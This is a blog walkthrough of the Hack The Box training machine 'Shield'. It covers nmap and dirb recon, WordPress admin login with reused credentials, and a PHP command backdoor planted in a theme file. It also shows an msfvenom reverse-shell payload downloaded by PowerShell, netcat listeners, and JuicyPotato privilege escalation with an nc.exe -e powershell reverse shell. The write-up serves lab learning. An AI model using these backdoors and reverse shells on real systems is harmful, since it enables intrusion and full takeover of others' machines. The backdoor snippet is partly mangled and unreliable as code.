Shield has been Pwned!

Shield has been Pwned!

This box gave me more trouble than I care to admit. I wouldn’t classify it as super easy that’s for sure. I have owned around 30 machines so far and this one was up there on the frustrated me list. If you’re new to the site then these posts are following the Starting Point on Hack The Box, we have already hacked Archetype, Oopsie and Vaccine.


There are other great guides out for this box and I’m not pretending that I’m the first to write a walkthrough for it. artilleryRed, eldruin and many others have written great guides which I had to use to hack this box. I’m writing this merely as a way for me to better understand the techniques used and to document my progress.

So first things first we perform our tried and tested nmap scan and wait for the results.

└──╼ [★]$ nmap -Pn -sC -sV — min-rate=1000 -T4 -p0- STATE SERVICE VERSION
80/tcp open tcpwrapped
| http-methods:
|_ Supported Methods: HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
3306/tcp open tcpwrapped
| mysql-info:
|_ MySQL Error: Host ‘’ is not allowed to connect to this MySQL server

It looks like we have a webserver and MySQL running so lets go and take a look at the webserver. Upon punching in the IP address we are greeted with a default Internet Information Services page. If we didn’t know before then we can deduct that this is a Windows box.

Ok so what else is there on this box, lets brute force the files and folders and see if there is anything that has been left behind by the creator.

└──╼ [★]$ sudo dirb
DIRB v2.22
By The Dark Raver
— — — — — — — — -
START_TIME: Wed Sep 8 20:37:47 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
— — — — — — — — -
— — Scanning URL: — — 
— Entering directory: — — 
+ (CODE:301|SIZE:0)

Okie dokie, we have a WordPress content management system installed. WordPress is probably the most used content management system available now. It probably also has the most documentation on how you hack it to shreds. After poking at it for a bit and not making much progress I looked at a walkthrough and saw that they were using credentials that were found on a previous box. Turns out the credentials worked, while reading the official walkthrough I also noticed that they used the Metasploit module wp_admin_shell_upload to hack a shell on to the box. I tried this and had no luck what so ever. I’ve included my configuration below so you can check it and let me know if I was doing anything wrong. The exploit worked but no session was created, who knows.

Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — -
PASSWORD P@s5w0rd! yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /wordpress yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
— — — — — — — — — — — — — — — — — — — -
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Foothold Hack

So with that issue out the way I decided to log in to WordPress and poke around. I have managed to get a reverse shell before by editing the 404 PHP template and sticking a PHP reverse shell in there. In order to trigger it you just need to visit a page that doesn’t exist. Well no such luck on this machine, there is no 404 template. I tried a few other pages with PHP reverse shells but didn’t get anywhere. After this it was getting late so I gave up for the night.

The following day was much more productive. I edited the Single Post single.php file and stuck the simple-backdoor.php hack in there.

<! — Simple PHP backdoor by DK ( →
echo “<pre>”;
$cmd = ($_REQUEST[‘cmd’]);
echo “</pre>”;
<! — 2006 →

This script is awesome as it allows you to execute commands through the cmd parameter. With that saved to the single.php file it was time to test whether it worked. By calling the following URL it was possible to list the files in the directory where the script was being executed from.

Editing single.php with PHP backdoor

The following command was used to test wether the backdoor was working.
Payload directory listing

Now that we have command execution it is time to get on to the box via a reverse shell. In order to do this I created a reverse shell executable using MSFVenom.

sudo msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=1337 -f exe -e x86/shikata_ga_nai -i 9 -o reverse.exe

With the hack created, I started a Python webserver that the Shield machine could connect too and download it. By pasting the following URL in the browser with the additional cmd parameter commands, the machine downloads and saves the reverse shell payload locally.

Python webserver -c “(New-Object Net.Webclient).DownloadFile(‘','C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\reverse.exe')"

With the file downloaded on to the server, we need to set up our netcat listener.

sudo nc -lvp 1337

Now time to get the reverse.exe file from the webserver.

Privilege Escalation Hack

Bingo we have access to the box, what now? There is lots of tools out there that you can use to gather information about the host and look for potential privilege escalation paths. One such tool is winPEAS. I won’t go into the details of finding the escalation path but it turns out I needed to use Juicy Potato hack. This part of the machine was an absolute nightmare, no matter what Class ID I used, the hack failed. Well one machine reset later and pulling the first CLSID from the list found here and I had a shell back to my host with system.

In order to do this I first downloaded and uploaded JuicyPotato to the system using the same method as the reverse.exe payload. I also did the same with nc.exe. I then created a batch file with the following payload inside.

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 1111 > shell.bat

Once that was in place it was time to run JuicyPotato and invoke the shell.bat file to create a reverse shell back to my host. Make sure you have another listener running on your host ready to accept the connection.

jp.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\themes\highlight\shell.bat -l 9999 -t * -c {03ca98d6-ff5d-49b8-abc6–03dd84127020}

It was then possible to capture the root key via the newly created shell.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
Shield has been pwned